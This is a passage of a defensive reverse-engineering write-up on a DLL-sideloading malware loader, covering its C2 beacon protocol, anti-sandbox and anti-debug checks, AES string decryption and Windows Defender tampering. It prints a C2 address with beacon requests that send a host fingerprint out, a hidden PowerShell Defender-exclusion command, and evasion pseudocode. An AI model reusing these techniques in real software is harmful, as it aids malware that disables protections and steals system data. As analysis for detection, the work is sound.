Scope: This is Part 1 of the BlackSanta analysis series, focusing exclusively on the DWrite.dll loader component. Part 2 will cover the BlackSanta EDR-killer payload and BYOVD drivers.

Prior work: Aryaka published a detailed BlackSanta EDR Killer threat report covering the campaign’s infection chain, C2 infrastructure, and payload behavior. This deep dive extends that work with independent reverse engineering, including full decryption of the embedded string table and end-to-end dynamic validation of the C2 protocol and process hollowing.

Disclaimer: This analysis was performed in an isolated lab environment for defensive security research purposes. All indicators and techniques are shared to aid detection and response.

Executive Summary

BlackSanta is a sophisticated EDR/AV killer campaign that leverages DLL sideloading, process hollowing, and extensive anti-analysis capabilities to deliver a BYOVD-based EDR-killer payload. The DWrite.dll loader is a 64-bit MSVC C++ DLL with 2,132 functions that masquerades as Microsoft’s DirectWrite font rendering library and is sideloaded by Sumatra PDF reader.

The CIS locale safeguard (exits on Russian-speaking systems) and embedded campaign identifiers suggest a Russian-nexus threat actor. Key findings:

  • 7-stage cascading anti-analysis chain with unique C2 reporting codes per stage
  • HVCI-aware branching — separate attack paths for HVCI-enabled vs disabled systems
  • AES-256-CBC encrypted strings with runtime key delivery from C2 (69 encrypted strings in .rdata — all decrypted)
  • Two process hollowing variants — admin path uses PPID spoofing to winlogon.exe with PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON; non-admin path uses dynamic API resolution with Mersenne Twister random sleep delays between hollowing steps
  • BYOVD indicators in decrypted strings — device paths (\\.\EchoDrv, \\.\TrueSight, \\.\IOBitUnlockerDevice) and driver staging paths (wedgetec.sys, devdiagm.sys) suggest the stage2 payload uses vulnerable kernel drivers (detailed analysis in Part 2)
  • CIS country safeguard — explicitly avoids Russian, Belarusian, and Kazakh systems (bitmask check on lang IDs 1049, 1059, 1087)
  • Extensive EDR/AV process blacklist — 50+ security product process names in the encrypted string table, used for anti-analysis gating and passed to the stage2 payload
  • Multi-layer persistence — scheduled tasks, DPATH environment variable, local admin-share staging
  • Multi-stage self-cleanup via scheduled tasks at 60s/90s/600s/900s intervals with secure deletion
Property Value
SHA256 d3d4b8bd76a26448426c89e6e401cff2cd9350c09aad52cc33d4ca3866bea918
Type 64-bit DLL (PE32+)
Architecture x86-64
Compiler MSVC (C++ with STL)
Functions 2,132 total (~60 analyzed with mw_ prefix)
Exports DWriteCreateFactory (ordinal 1), DllEntryPoint
C2 Server 157.250.202.215
Sections .text (348 KB), .rdata (115 KB), .data (28 KB), .fptable (unusual)

Table of Contents

  1. DLL Sideloading Entry Point
  2. C2 Protocol Deep Dive
  3. Anti-Analysis Chain (7 Stages)
  4. Cryptographic Implementation
  5. Decrypted Strings Analysis
  6. Windows Defender & Security Evasion
  7. Execution State Management
  8. HVCI-Aware Attack Branching
  9. Process Hollowing with PPID Spoofing
  10. Stage2 Payload Delivery and EDR-Killer Indicators
  11. Persistence Mechanisms
  12. Self-Cleanup Chain
  13. Function Reference Table
  14. Indicators of Compromise
  15. MITRE ATT&CK Mapping
  16. Detection Opportunities
  17. C2 Simulator
  18. Dynamic Analysis Findings Summary

1. DLL Sideloading Entry Point

The malware is distributed as DWrite.dll — a name that collides with Microsoft’s DirectWrite font rendering library. When Sumatra PDF loads the DLL, it calls the exported DWriteCreateFactory function, triggering the malware.

1.1 Architecture Overview

Architecture Overview — DLL sideloading attack chain

1.2 Entry Point Code

Figure 1: x64dbg disassembly at the DWriteCreateFactory entry point (0x180021310), showing the EnumWindows callback setup, ShowWindow(SW_HIDE), SetWindowLongPtrW, SetWindowPos, and the final call to main_orchestrator (0x18001FA00).

x64dbg — DWriteCreateFactory entry point disassembly

Figure 2: Register state at the DWriteCreateFactory entry point. RAX/RIP = 0x180021310, R12 contains the DLL path C:\Users\victim\Desktop\DWrite.dll.

x64dbg — Registers at entry point

Figure 2a: IDA Pro pseudocode of mw_DWriteCreateFactory_entry (0x180021310), showing the hijacked export that hides the Sumatra PDF window and dispatches to the main orchestrator.

IDA Pro — DWriteCreateFactory entry pseudocode

At DWriteCreateFactory_malware_entry (0x180021310), the malware:

  1. Calls EnumWindows with callback enum_windows_find_host_window (0x180003860) to locate the Sumatra PDF window
  2. Hides the window via ShowWindow(hwnd, SW_HIDE)
  3. Strips window styles with SetWindowLongPtrW and repositions it off-screen
  4. Dispatches to main_orchestrator (0x18001FA00) — the core function that never returns
// DWriteCreateFactory_malware_entry (0x180021310)
// This is what the legitimate app calls — but it gets hijacked
void __noreturn DWriteCreateFactory() {
    LPARAM hwnd = 0;
    EnumWindows(enum_windows_find_host_window, &hwnd);
    ShowWindow(hwnd, SW_HIDE);                                   // hide window
    SetWindowLongPtrW(hwnd, GWL_STYLE, 0);                      // strip styles
    SetWindowPos(hwnd, 0, 0, 0, 0, 0,
                 SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER);       // 0x83
    ShowWindow(hwnd, SW_FORCEMINIMIZE);                          // force minimize
    main_orchestrator();  // never returns
}

Note: The malware references the string DWrite2.dll at 0x180073612 (single data xref, no confirmed function references). This may indicate a proxy-load mechanism to forward calls to the real DirectWrite DLL, but no actual proxy-load chain was confirmed in the analyzed functions. This remains a hypothesis.


2. C2 Protocol Deep Dive

2.1 Server Infrastructure

Figure 3: x64dbg disassembly of mw_main_orchestrator (0x18001FA00) showing the C2 IP construction. The inline QWORD constant 0x2E3035322E373531 (“157.250.”) is visible at 0x18001FA55, combined with the string “202.215” referenced at 0x180068ED8.

x64dbg — Main orchestrator with C2 IP construction

Figure 3a: IDA Pro pseudocode of mw_main_orchestrator (0x18001FA00) — the core function that constructs the C2 IP, sends the initial beacon, runs the 7-stage anti-analysis chain, and branches based on HVCI status.

IDA Pro — Main orchestrator pseudocode

The C2 IP is constructed at runtime by combining an inline constant with a string reference:

0x2E3035322E373531 (QWORD inline constant = "157.250.") + "202.215" (string at 0x180068ED8)

The first fragment is stored as an 8-byte QWORD directly in the instruction stream (not as a string in .rdata), while the second fragment “202.215” is the only part visible as a string. This hybrid construction evades both string-based and simple YARA pattern matching.

2.2 Endpoint Map

The C2 server exposes endpoints disguised as a legitimate ASP.NET web application. Only 6 endpoints appear as plaintext strings in the binary — all referenced exclusively from mw_main_orchestrator:

Confirmed Plaintext Endpoints (in .rdata)

Endpoint Address Code Path Purpose
settings.aspx 0x180068EE8 Non-admin Payload download → process hollow (fallback path)
main.aspx 0x180068EF8 HVCI OFF Primary PE payload → process hollow
company.aspx 0x180068F08 HVCI OFF Secondary PE payload → process hollow
contacts.aspx 0x180068F18 HVCI OFF Tertiary PE payload → process hollow
blog.aspx 0x180068F30 HVCI OFF Download .zip archive (BYOVD drivers) → extract
about.aspx 0x180068F50 Both paths Module6 executable download

Dynamically Confirmed Endpoints

Endpoint Evidence Purpose
login.aspx Confirmed via x64dbg — decrypted at runtime, observed in POST request Initial beacon + AES key/IV delivery
download.aspx Aryaka report Figure 22 PE payload delivery (BlackSanta EDR-killer)
upload.aspx Aryaka report Data exfiltration

Dynamic analysis note: The initial beacon endpoint login.aspx is NOT present as a plaintext string — it is AES-encrypted in the string table and decrypted at runtime after the C2 delivers the key. This was confirmed by intercepting the first POST request in x64dbg with anti-analysis checks bypassed.

Execution Flow by Privilege Level

The orchestrator branches based on mw_check_admin_elevation_and_hosts():

  • Non-admin path (v49 == 0): Stores DLL path in registry → creates decoy files → requests settings.aspx (GET with dbseckey, no action param) → receives base64-encoded PE in <pre id="pre"> tags → calls mw_process_hollow_with_random_sleep (Variant 2, not Variant 1) → ExitProcess
  • Admin path (v49 != 0): Disables Defender → checks HVCI → branches to HVCI ON or HVCI OFF sub-paths (see Section 8)

2.3 Initial Beacon Protocol

Confirmed via dynamic analysis (x64dbg, 2026-03-13)

Figure 4: x64dbg disassembly of mw_c2_beacon_with_sysinfo (0x1800098D0). The RegOpenKeyExA call is visible with the registry path SOFTWARE\Microsoft\Windows NT\CurrentVersion at 0x180066488, followed by RegQueryValueExA reading “ProductName” for the OS fingerprint.

x64dbg — C2 beacon system fingerprint collection

On first execution, the malware collects a system fingerprint and sends a registration beacon. The fingerprint is assembled by mw_c2_beacon_with_sysinfo (0x1800098D0) from:

  1. Registry values at SOFTWARE\Microsoft\Windows NT\CurrentVersion (ProductName, DisplayVersion, CurrentBuild)
  2. Environment variables USERNAME and COMPUTERNAME

These are joined with pipe delimiters and Base64-encoded:

base64("Windows 10 Pro 22H2|DESKTOP-VICTIM|victim")
→ "V2luZG93cyAxMCBQcm8gMjJIMnxERVNLVE9QLVZJQ1RJTXx2aWN0aW0="

The beacon is sent as an HTTPS POST to login.aspx (decrypted at runtime):

POST /login.aspx HTTP/1.1
Host: 157.250.202.215
Accept-Language: en-US,en;q=0.5\r\nBearer: <session_token>
Content-Type: application/x-www-form-urlencoded; charset=utf-8;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...

action=ping&mod=load&os=<base64_fingerprint>&dbseckey=<sha256_hash>

Key observations:

  • HTTPS on port 443InternetConnectA with port 0x1BB (443), not HTTP port 80
  • mod=load — the hardcoded string "load" indicates initial registration
  • OS fingerprint — 3 pipe-delimited fields (OSVersion Hostname Username), not 5

The C2 server responds with the AES-256 key and IV as plain text (not HTML-wrapped):

HTTP/1.1 200 OK
Content-Type: text/plain; charset=windows-1251
Content-Length: 97
Server: nginx/1.24.0 (Ubuntu)
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET

effbd3d25eddf30584451ef9da0215715d52d262202cd9fd983b0326e0e5d018|7c88a70b0d2e95d642e63d308ac2f3aa

The malware splits on |, validates 2 parts, converts each hex string to bytes via mw_hex_string_to_bytes, and stores:

  • Key (64 hex chars = 32 bytes) → g_aes256_key (0x180075D00)
  • IV (32 hex chars = 16 bytes) → g_aes256_iv (0x180075D20)

These are used for ALL subsequent AES-256-CBC string decryption. The key from the Aryaka report (Figure 8) was verified to correctly decrypt all 69 embedded ciphertext strings.

Anti-Analysis Telemetry

If an anti-analysis check triggers, the malware reports it to the C2 before exiting:

POST /login.aspx HTTP/1.1
...
action=log&data=<base64_encoded_check_result>

This uses action=log (not action=ping) with the check result Base64-encoded in the data parameter.

2.4 Authentication Mechanism

Every C2 request includes:

  • Bearer token — embedded in the Accept-Language header (highly anomalous placement: Accept-Language: en-US,en;q=0.5\r\nBearer: <token>)
  • dbseckey parameter — hex-encoded session key in the POST body

2.5 User-Agent Rotation

Three hardcoded User-Agents are rotated via mw_wininet_http_post (0x1800082B0):

UA#0: Chrome/125.0.6422.112 (latest at time of compilation)
UA#1: Firefox/118.0
UA#2: Chrome/124.0.6367.93

2.6 C2 Commands

Command Description
install Trigger full payload installation + persistence
update Update existing payload
start Start scheduled task execution
delete Trigger self-deletion
getbackup Retrieve backup C2 address
mod4memint “Module 4 memory inject” — in-memory payload injection

3. Anti-Analysis Chain (7 Stages)

The malware runs a cascading chain of 7 anti-analysis checks, each with its own C2 reporting tag. If any check triggers, the malware reports the specific check that fired, then calls ExitProcess. This provides the operator with granular intelligence about which sandbox/analysis environment caught the malware.

Anti-Analysis Chain — 7 cascading validation stages

3.1 Stage 0: Sandbox Hostname & Username Check

Function: mw_anti_sandbox_check_hostname_username (0x18001B340)

Checks GetComputerNameA() and GetUserNameA() against hardcoded blacklists of known sandbox environments:

71+ Sandbox Hostnames (partial list — covers ANY.RUN, Tria.ge, Joe Sandbox, Cuckoo, etc.):

DESKTOP-FL50EOF   ZZDNTXQB          DESKTOP-CSEDXIM   DESKTOP-ZYANMIE
DESKTOP-CXPUWTF   DESKTOP-RCZZWPJ   DESKTOP-J655HF6   DESKTOP-8H9EM4A
WINAUTO-62T2P7U   ZONAG4483147206   QJMBA6328379930   UQPBZTU08154237
LSHBWCKL0256103   MPRO_R1_05        SISU-PC            CLIENT-PKI2464
WIN-PFZNZARAFFC   JEN-NB6W9NNEMA1   Z126LIMY8TZUG      COMPNAME_8938
...

39+ Sandbox Usernames (partial list):

Harry Johnson     willy             STRAZNJICA.GRUBUTT  rapit
lichao            OqXZRaykm         RDhJ0CNFevzX        Bruno
winauto           ePAyJXKKD         V4R4X                fred
husky             Sisu              qr0FYw               zatru
...

3.2 Stage 1: CIS Country Safeguard

Figure 5: x64dbg disassembly of mw_anti_analysis_check_russian_locale (0x18001A1C0). The xor eax,eax; ret bypass patch is visible at the function start. Below, the original function body shows references to the AES key/IV globals (0x180075D00, 0x180075D20) and encrypted string decryption calls.

x64dbg — Russian locale check with bypass patch

Figure 5a: IDA Pro pseudocode of mw_anti_analysis_check_russian_locale (0x18001A1C0), showing the CIS country safeguard that checks for Russian/Belarusian/Kazakh locale IDs.

IDA Pro — Russian locale check pseudocode

Function: mw_anti_analysis_check_russian_locale (0x18001A1C0)

// Pseudocode for CIS locale check
WCHAR locale[85];
GetUserDefaultLocaleName(locale, 85);
if (StrStrIW(locale, L"ru-RU")) {
    c2_report("1");   // reports "1|" to C2
    return 1;         // skip infection
}
LANGID lang = GetUserDefaultLangID();
// Bitmask 0x4000000401 checks specific CIS language IDs:
//   bit 0:  1049 (Russian)
//   bit 10: 1059 (Belarusian)
//   bit 38: 1087 (Kazakh)
if (lang >= 1049 && lang <= 1087 && bittest(0x4000000401, lang - 1049)) {
    c2_report("1");
    return 1;
}

This is a strong indicator of Russian-nexus threat actor origin — the malware explicitly protects Russian-speaking systems from infection. Combined with Russian-language comments in the PowerShell delivery scripts, this provides high-confidence attribution to a Russian-speaking group.

3.3 Stage 2: Disk Artifact Detection

Function: mw_anti_analysis_check_disk_artifacts (0x1800194A0)

Checks for the presence of analysis tool files on disk. The file paths are AES-encrypted and decrypted at runtime. Two encrypted strings are used by this function (addresses 0x1800195c2 and 0x180019729 call sites).

3.4 Stage 3: Environment Analysis

Function: mw_anti_analysis_check_environment (0x180016270)

Multi-vector environment checks including:

  • Processor count: NUMBER_OF_PROCESSORS < 2 → sandbox (via GetLogicalProcessorInformation)
  • Physical RAM: < 2 GB or < 4 GB → sandbox
  • Network adapters: < 4 → sandbox
  • Environment variable count — abnormally low counts indicate sandboxes
  • Sandboxie detection: Checks for \Services\cmdguard and Sandboxie registry artifacts
  • Comodo detection: Checks for Comodo sandbox artifacts

3.5 Stage 4: VM Artifact Detection

Function: mw_anti_analysis_check_vm_artifacts (0x180014060)

SMBIOS Firmware Table Analysis

Figure 6: x64dbg disassembly of mw_detect_vm_via_smbios_firmware (0x180017790). Bypass patch at top. The encrypted VM vendor string at 0x180067210 (ciphertext 373b36fd8291a5...) is loaded and passed to the AES decryption pipeline.

x64dbg — SMBIOS VM detection function

Function: mw_detect_vm_via_smbios_firmware (0x180017790)

// Reads raw SMBIOS firmware data using RAW_SMBIOS_DATA struct
DWORD size = GetSystemFirmwareTable('RSMB', 0, NULL, 0);
BYTE* buf = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);
GetSystemFirmwareTable('RSMB', 0, buf, size);

// Parses SMBIOS Type 1 (System Information) via SMBIOS_TYPE1_SYSTEM_INFO struct
// Checks Manufacturer and Product Name against ~20 VM vendors:
//   "microsoft virtual machine", "vmware", "virtualbox", "oracle",
//   "qemu", "xen", "kvm", "parallels", "virtual", "Hyper-V",
//   "VirtIO", "Bochs"

The function uses custom structs (RAW_SMBIOS_DATA, SMBIOS_HEADER, SMBIOS_TYPE1_SYSTEM_INFO) to parse the firmware table and extract manufacturer/product strings for comparison.

Display Adapter Check

Function: mw_detect_vm_via_display_adapter (0x180012600)

// Enumerates display devices, checks for virtual GPUs
DISPLAY_DEVICEW dd = {sizeof(DISPLAY_DEVICEW)};
for (int i = 0; EnumDisplayDevicesW(NULL, i, &dd, 0); i++) {
    // Decrypts 9 known virtual GPU names and matches via StrStrIA:
    //   "VMware SVGA", "VirtualBox Graphics", "Microsoft Basic Display",
    //   "Microsoft Remote Display", "QXL", "Parallels", "VirtIO", etc.
}

Physical Memory Check

Function: mw_check_physical_memory_gb (0x180011CE0)

Returns total physical RAM in GB. Sandboxes often allocate 1-2 GB, so the caller gates execution on a minimum threshold.

3.6 Stage 5: Desktop File Count

Function: mw_anti_analysis_check_desktop_file_count (0x180011030)

// Uses SHGetKnownFolderPath + FindFirstFileW/FindNextFileW
int file_count = count_desktop_files();
if (file_count < 5) {
    // Fresh sandbox VMs typically have almost no desktop files
    c2_report("6");
    ExitProcess(0);
}

This is a clever heuristic — real user desktops typically have many files, while freshly spun sandbox VMs have very few.

3.7 Stage 6: Debugger Detection + EDR Process Enumeration

Figure 7: x64dbg disassembly of mw_anti_debug_gate_with_edr_check (0x18000F310). The xor eax,eax; ret bypass patch is at the top (the first 3 bytes). The original function body shows references to the AES key global (0x180075C0), encrypted process name strings at 0x1800666E0+, and the decryption helper calls used to resolve EDR/analysis tool names at runtime.

x64dbg — Anti-debug gate with EDR check (bypass patched)

Figure 7a: IDA Pro pseudocode of mw_anti_debug_gate_with_edr_check (0x18000F310), showing the combined IsDebuggerPresent, CheckRemoteDebuggerPresent, NtQueryInformationProcess, and EDR process enumeration checks.

IDA Pro — Anti-debug gate with EDR check pseudocode

Function: mw_anti_debug_gate_with_edr_check (0x18000F310)

This is the most comprehensive check, combining:

  1. IsDebuggerPresent() — PEB flag check
  2. CheckRemoteDebuggerPresent() — Cross-process debugger detection
  3. NtQueryInformationProcess — Direct PEB.BeingDebugged check via NTAPI (uses PROCESS_BASIC_INFORMATION struct)
  4. mw_enumerate_processes_match_edr_targets (0x18000BF60) — Enumerates all running processes via CreateToolhelp32Snapshot and K32EnumProcesses, matching against ~25 AES-encrypted EDR/AV process names

Decrypted analysis tool process names targeted (25 strings, verified via AES decryption — see Section 5.2):

wireshark.exe    ollydbg.exe      x64dbg.exe       x32dbg.exe
windbg.exe       ida.exe          idag.exe         idaq.exe
idaq64.exe       immunitydbg.exe  procmon.exe      procmon64.exe
debugview.exe    cheatengine.exe  radare2.exe      ghidra.exe
peid.exe         cutter.exe       fiddler.exe      dynatrace.exe
jmp.exe          olldump.exe      babeldbg.exe     winice.exe

Key finding: Instead of hard-crashing when a debugger is detected, the malware poisons its output strings by prepending "7|". This causes downstream logic to silently malfunction — a more subtle approach than calling ExitProcess, making it harder for analysts to identify the exact anti-debug trigger.


4. Cryptographic Implementation

4.1 AES-256-CBC via WinCrypt

Figure 8: x64dbg disassembly of mw_aes256_cbc_decrypt (0x1800034D0). The WinCrypt API call sequence is clearly visible: CryptAcquireContextA (PROV_RSA_AES = 0x18, CRYPT_VERIFYCONTEXT = 0xF0000000), then CryptImportKey referencing g_aes_key_blob at 0x180077BB8 with CALG_AES_256 (0x6610) and key size 32 bytes.

x64dbg — AES-256-CBC decryption via WinCrypt

Figure 8a: IDA Pro pseudocode of mw_aes256_cbc_decrypt (0x1800034D0), showing the WinCrypt API call sequence with PROV_RSA_AES and CALG_AES_256 parameters.

IDA Pro — AES-256-CBC decrypt pseudocode

Function: mw_aes256_cbc_decrypt (0x1800034D0)

All embedded strings are AES-256-CBC encrypted and decrypted at runtime. The implementation uses the Windows CryptoAPI:

// mw_aes256_cbc_decrypt (0x1800034D0) - Simplified pseudocode
BOOL aes256_cbc_decrypt(BYTE* ciphertext, DWORD len, BYTE* key, BYTE* iv) {
    HCRYPTPROV hProv;
    HCRYPTKEY hKey;

    // Acquire AES provider
    CryptAcquireContextA(&hProv, NULL, NULL,
                         PROV_RSA_AES,       // 0x18
                         CRYPT_VERIFYCONTEXT); // 0xF0000000

    // Import key via PLAINTEXTKEYBLOB structure
    CryptImportKey(hProv, &g_aes_key_blob, 44, 0, 0, &hKey);

    // Set CBC IV
    CryptSetKeyParam(hKey, KP_IV, iv, 0);

    // Decrypt in place
    CryptDecrypt(hKey, 0, TRUE, 0, ciphertext, &len);

    CryptDestroyKey(hKey);
    CryptReleaseContext(hProv, 0);
}

4.2 PLAINTEXTKEYBLOB Structure

The AES-256 key is stored globally as a PLAINTEXTKEYBLOB structure at g_aes_key_blob (0x180077BB8), passed directly to CryptImportKey:

struct PLAINTEXTKEYBLOB {          // 44 bytes total
    BYTE  bType;                   // 0x08 = PLAINTEXTKEYBLOB
    BYTE  bVersion;                // 0x02 = CUR_BLOB_VERSION
    WORD  reserved;                // must be 0
    DWORD aiKeyAlg;                // 0x6610 = CALG_AES_256
    DWORD cbKeySize;               // 32 (AES-256 key length)
    BYTE  rgbKeyData[32];          // actual key material from C2
};

4.3 Key Delivery and Recovery

The AES key and IV are not embedded in the binary — they are delivered by the C2 server on the initial beacon response. The key was recovered from the Aryaka threat report (Figure 8), which captured the actual C2 response:

Parameter Value
AES-256 Key effbd3d25eddf30584451ef9da0215715d52d262202cd9fd983b0326e0e5d018
AES-CBC IV 7c88a70b0d2e95d642e63d308ac2f3aa

This key successfully decrypts all 69 embedded ciphertext strings in the binary, confirming it is the correct operational key for this sample.

Without the key:

  1. Static analysis cannot decrypt the strings — the 69 hex-encoded ciphertexts in .rdata are opaque
  2. Dynamic analysis requires C2 communication or a simulator serving the correct key
  3. The malware is inert without C2 connectivity — even the anti-analysis checks rely on decrypted strings for process name matching

4.4 String Decryption Pipeline

String Decryption Pipeline — AES-256-CBC flow

4.5 Global Cryptographic Variables

Global Address Size Purpose
g_aes256_key 0x180075D00 32 bytes AES-256 key from C2
g_aes256_iv 0x180075D20 16 bytes AES CBC IV from C2
g_aes_key_blob 0x180077BB8 44 bytes PLAINTEXTKEYBLOB struct for CryptImportKey
g_c2_session_key varies Per-session C2 authentication key
g_wininet_handle HANDLE WinInet session handle
g_c2_initialized DWORD C2 initialization flag

5. Decrypted Strings Analysis

All 69 encrypted strings decrypted using AES key recovered from Aryaka report Figure 8. Each string is stored as hex-encoded ciphertext in .rdata, converted to bytes via mw_hex_string_to_bytes, and decrypted via mw_aes256_cbc_decrypt at runtime. IDA annotations added at each ciphertext address.

The encrypted strings are referenced by 77 call sites to mw_aes256_cbc_decrypt across 15+ functions. Note: Additional strings (driver paths, registry keys, PowerShell commands, C2 endpoints) exist in the broader runtime string table built by mw_build_encrypted_strings_table (0x1800041E0) but use a different storage mechanism not yet fully mapped.

5.1 C2 Telemetry Prefix

Address Ciphertext (hex) Decrypted
0x1800666E0 87444be8d031fd00... (64 chars) action=log&data=

This prefix is used by all anti-analysis reporting functions. When a check triggers, the malware sends action=log&data=<base64_result> to the C2 before exiting.

5.2 Analysis Tool Process Names (25 strings)

Figure 9: x64dbg memory dump showing the encrypted string table in .rdata starting at 0x180066728. Each entry is a hex-encoded AES-256-CBC ciphertext blob that decrypts to an analysis tool process name (e.g., wireshark.exe, x64dbg.exe, ida.exe). Null bytes separate individual entries.

x64dbg — Encrypted strings in .rdata

These are checked by mw_enumerate_processes_match_edr_targets (0x18000BF60) and mw_check_analysis_tool_running (0x180015FD0):

Address Decrypted Tool
0x180066728 wireshark.exe Wireshark packet capture
0x180066750 ollydbg.exe OllyDbg debugger
0x180066778 x64dbg.exe x64dbg debugger
0x1800667A0 x32dbg.exe x32dbg debugger
0x1800667C8 windbg.exe WinDbg debugger
0x1800667F0 ida.exe IDA Pro
0x180066818 idag.exe IDA GUI
0x180066840 idaq.exe IDA Qt GUI
0x180066868 idaq64.exe IDA Qt 64-bit
0x180066890 immunitydbg.exe Immunity Debugger
0x1800668B8 procmon.exe Process Monitor
0x1800668E0 procmon64.exe Process Monitor 64-bit
0x180066908 debugview.exe DebugView
0x180066930 cheatengine.exe Cheat Engine
0x180066958 radare2.exe Radare2
0x180066980 ghidra.exe Ghidra
0x1800669A8 peid.exe PEiD packer detector
0x1800669D0 cutter.exe Cutter (Rizin GUI)
0x1800669F8 fiddler.exe Fiddler proxy
0x180066A20 dynatrace.exe Dynatrace APM agent
0x180066A48 jmp.exe JMP (SAS)
0x180066A70 olldump.exe OllyDump
0x180066A98 babeldbg.exe Babel Obfuscator debugger
0x180066AC0 winice.exe SoftICE (legacy kernel debugger)

5.3 Debugger Detection Messages (4 strings)

Reported to C2 via action=log&data= when detected:

Address Decrypted
0x180066B50 Debugger detected by "IsDebuggerPresent" function
0x180066BE0 Debugger detected by "CheckRemoteDebuggerPresent" function
0x180066C70 Debugger detected by PEB
0x180066CC0 Debugger detected by "isDebuggerPresentNt" function

5.4 Desktop File Count Check (2 strings)

Address Decrypted
0x180066D50 Recent Files &lt; 3
0x180066DA0 kernel32

The kernel32 string is used with GetProcAddress to resolve GetLogicalProcessorInformation dynamically.

5.5 Display Adapter / VM GPU Detection (10 strings)

Checked by mw_detect_vm_via_display_adapter (0x180012600):

Address Decrypted Indicates
0x180066DD0 GetLogicalProcessorInformation API for processor count check
0x180066E18 Microsoft Basic Basic Display Adapter (VM)
0x180066E40 Microsoft Remote Remote Desktop Display (RDP)
0x180066E88 RDP Remote Desktop
0x180066EB0 VMware VMware virtual GPU
0x180066ED8 VirtualBox VirtualBox virtual GPU
0x180066F00 QXL QEMU/KVM GPU
0x180066F28 Parallels Parallels virtual GPU
0x180066F50 VirtIO VirtIO GPU
0x180066F78 Bochs Bochs emulator GPU

5.6 Environment / Sandbox Checks (8 strings)

Address Decrypted Check
0x180066FA0 Num of processors &lt; 4 Reported if < 4 CPUs
0x180066FF0 Adapter Detected Appended to adapter name
0x180067040 NUMBER_OF_PROCESSORS Environment variable check
0x180067090 Num of processor cores &lt; 2 Reported if < 2 cores
0x1800670D8 RAM &lt; 4 Gb Reported if < 4 GB RAM
0x180067100 Sandboxie Sandboxie detection
0x180067130 SYSTEM\CurrentControlSet\Services\cmdguard Comodo CmdGuard driver
0x1800671A0 Sanbboxie Detected Sandboxie report (note: typo in malware)
0x1800671E8 Comodo Detected Comodo sandbox report

5.7 SMBIOS VM Vendor Detection (20 strings)

Checked by mw_detect_vm_via_smbios_firmware (0x180017790) against SMBIOS Type 1 Manufacturer/Product:

Address Decrypted Type
0x180067210 microsoft Keyword match
0x180067238 virtual machine Keyword match
0x180067260 vmware Keyword match
0x180067288 virtualbox Keyword match
0x1800672B0 oracle Keyword match
0x1800672D8 qemu Keyword match
0x180067300 xen Keyword match
0x180067328 kvm Keyword match
0x180067350 parallels Keyword match
0x180067378 virtual Keyword match
0x1800673A0 Hyper-V (from SMBIOS) Report string
0x1800673F0 VMware(from SMBIOS) Report string
0x180067440 VirtualBox (from SMBIOS) Report string
0x180067490 QEMU (from SMBIOS) Report string
0x1800674E0 Xen (from SMBIOS) Report string
0x180067530 KVM (from SMBIOS) Report string
0x180067580 Parallels (from SMBIOS) Report string
0x1800675D0 Generic Virtual Machine (from SMBIOS) Report string
0x180067638 ` Detected` Suffix appended to vendor name

6. Windows Defender & Security Evasion

Before deploying payloads, the malware systematically disables multiple layers of Windows security.

6.1 Cloud Protection & Sample Submission

Function: mw_disable_defender_spynet_reporting (0x18000BD30)

Registry Key:  Software\Policies\Microsoft\Windows Defender\SpyNet
Values:        SpynetReporting = 0 (DWORD)
               SubmitSamplesConsent = 2 (DWORD)  // "Never send"

This prevents Windows Defender from:

  • Sending suspicious file hashes to Microsoft’s cloud
  • Automatically uploading samples for analysis
  • Receiving cloud-based detection signatures

6.2 PowerShell Defender Exclusions

The malware executes hidden PowerShell to add exclusions for its driver files and staging directory:

powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command
    "Set-MpPreference -ExclusionExtension *.dls, *.sys -Force;
     Set-MpPreference -ExclusionPath C:\Windows\Temp -Force"

This ensures that:

  • .dls and .sys files (vulnerable drivers) are not scanned
  • The C:\Windows\Temp staging directory is excluded from real-time protection

6.3 Security Notification Suppression

The malware modifies multiple registry keys to suppress security alerts from reaching the user:

Registry Key Value Effect
Software\Microsoft\Windows Defender Security Center\Notifications DisableNotifications = 1 Suppresses Defender Security Center alerts
Software\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications = 1 Policy-level notification suppression
Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance Enabled = 0 Disables security toast notifications
Same key DisableEnhancedNotifications = 1 Disables enhanced notification details

6.4 Vulnerable Driver Blocklist Check

Before loading BYOVD drivers, the malware checks whether Windows has the vulnerable driver blocklist enabled:

Registry Key:  SYSTEM\CurrentControlSet\Control\CI\Config
Value:         VulnerableDriverBlocklistEnable

If the blocklist is enabled, the malware may adjust its driver loading strategy or fall back to the HVCI-ON code path.

6.5 Disk Write Verification

Function: mw_create_decoy_files_in_appdata (0x180005ED0)

Before proceeding with payload deployment, the malware verifies disk write capability by creating one of three files under C:\Users\<Username>\MyApp\Data:

Filename Purpose
report.txt Disk write check
data.csv Disk write check
backup.bin Disk write check

A sample string is written to the file to confirm the environment is writable before proceeding with additional stages.


7. Execution State Management

7.1 Mutex Noise Generation

The malware introduces execution noise by repeatedly creating and closing unnamed mutexes in a loop. This generates small delays and mimics normal API behavior to disrupt sandbox timing analysis:

do {
    MutexA = CreateMutexA(0, 0, 0);
    if (MutexA)
        CloseHandle(MutexA);
    --n3;
} while (n3);

7.2 Run Key Execution Tracking

Function: mw_set_run_key_persistence (0x180005C60)

This function writes a DWORD marker under the Run key to track execution state:

Registry Key:   HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Value Name:     MyAppStatus
Value Data:     0x00000001 (REG_DWORD)

Important: Despite being written under the Run key, this entry does not provide autorun persistence. Windows Run keys only execute REG_SZ string values pointing to executable paths. A REG_DWORD value of 1 is ignored by the logon autostart mechanism. The pseudocode confirms: RegSetValueExW(hKey, "MyAppStatus", 0, 4/*REG_DWORD*/, &1, 4).

The MyAppStatus value serves as an execution-state flag — it marks that the sample has already executed, preventing redundant runs on the same system.

Note: Our IDA analysis revealed this function was previously misidentified. Decoding the wide-character DWORD arrays in the function body exposed the actual registry path and value type.

7.3 DPATH Environment Variable

Function: mw_store_dll_path_in_registry (0x180003190)

The malware stores its DLL path as a custom environment variable for dynamic retrieval:

Registry Key:   HKEY_CURRENT_USER\Environment
Value Name:     DPATH
